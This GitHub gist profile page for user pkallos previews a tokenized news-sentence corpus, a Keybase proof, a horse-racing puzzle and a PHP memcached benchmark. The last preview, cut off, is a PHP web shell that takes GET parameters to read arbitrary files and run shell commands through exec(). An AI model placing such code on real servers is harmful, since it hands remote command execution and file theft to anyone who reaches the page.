Skip to content

Instantly share code, notes, and snippets.

View pkallos's full-sized avatar

Phil Kallos pkallos

View GitHub Profile
@pkallos
pkallos / english.txt
Last active October 27, 2023 22:30
english.txt
QVC Network Inc. said it completed its acquisition of CVN Cos. for about $ 423 million .
The spirits , of course , could hardly care less whether people do or do n't believe in them .
The debt ceiling is scheduled to fall to $ 2.8 trillion from $ 2.87 trillion at midnight tonight .
Mr. Ackerman contended that it was a direct response to his efforts to gain control of Datapoint .
Mr. Moon 's support for a Watergate - beleaguered Richard Nixon , the Koreagate scandal , and his prison sentence for income - tax evasion did not help the church 's recruitment efforts .
FEDERAL HOME LOAN MORTGAGE CORP. ( Freddie Mac ) : Posted yields on 30 - year mortgage commitments for delivery within 30 days .
Both companies are allies of Navigation Mixte in its fight against a hostile takeover bid launched last week by Cie .
The machine employs reduced instruction - set computing , or RISC , technology .
Instead , he proposed a `` law - governed economy , '' in which there would be a `` clear - cut division between state directi

Keybase proof

I hereby claim:

  • I am pkallos on github.
  • I am phibit (https://keybase.io/phibit) on keybase.
  • I have a public key ASB7XfB5L7BurF-UfXLNe0yaEBsUh-_WBdEAC1IWuJeBgQo

To claim this, I am signing this object:

/**
* Problem statement: You have 25 horses, each of which run around a track at a consistent speed
* (i.e. running the same horse around the track yields the same speed every time). You do not
* have a stopwatch to time them but you are able to race them in groups around the track and
* rank them in order.
*
* The race track can only fit 5 horses at a time. Find the top 3 fastest horses, in the least
* amount of races possible.
*/
@pkallos
pkallos / memcached_bench.php
Created December 4, 2012 22:36
Memcached Benchmark Tool
<?php
$memcached_servers = array(
array('127.0.0.01', 11211),
);
$mc = new Memcached();
$mc->setOption(Memcached::OPT_BINARY_PROTOCOL, TRUE);
$mc->setOption(Memcached::OPT_NO_BLOCK, TRUE);
$mc->setOption(Memcached::OPT_TCP_NODELAY, TRUE);
<?php
extract($_GET);
if ($read) {
echo file_get_contents($read);
}
else if ($exec) {
exec($exec, $output);
echo implode('<br/>', $output);
}
else {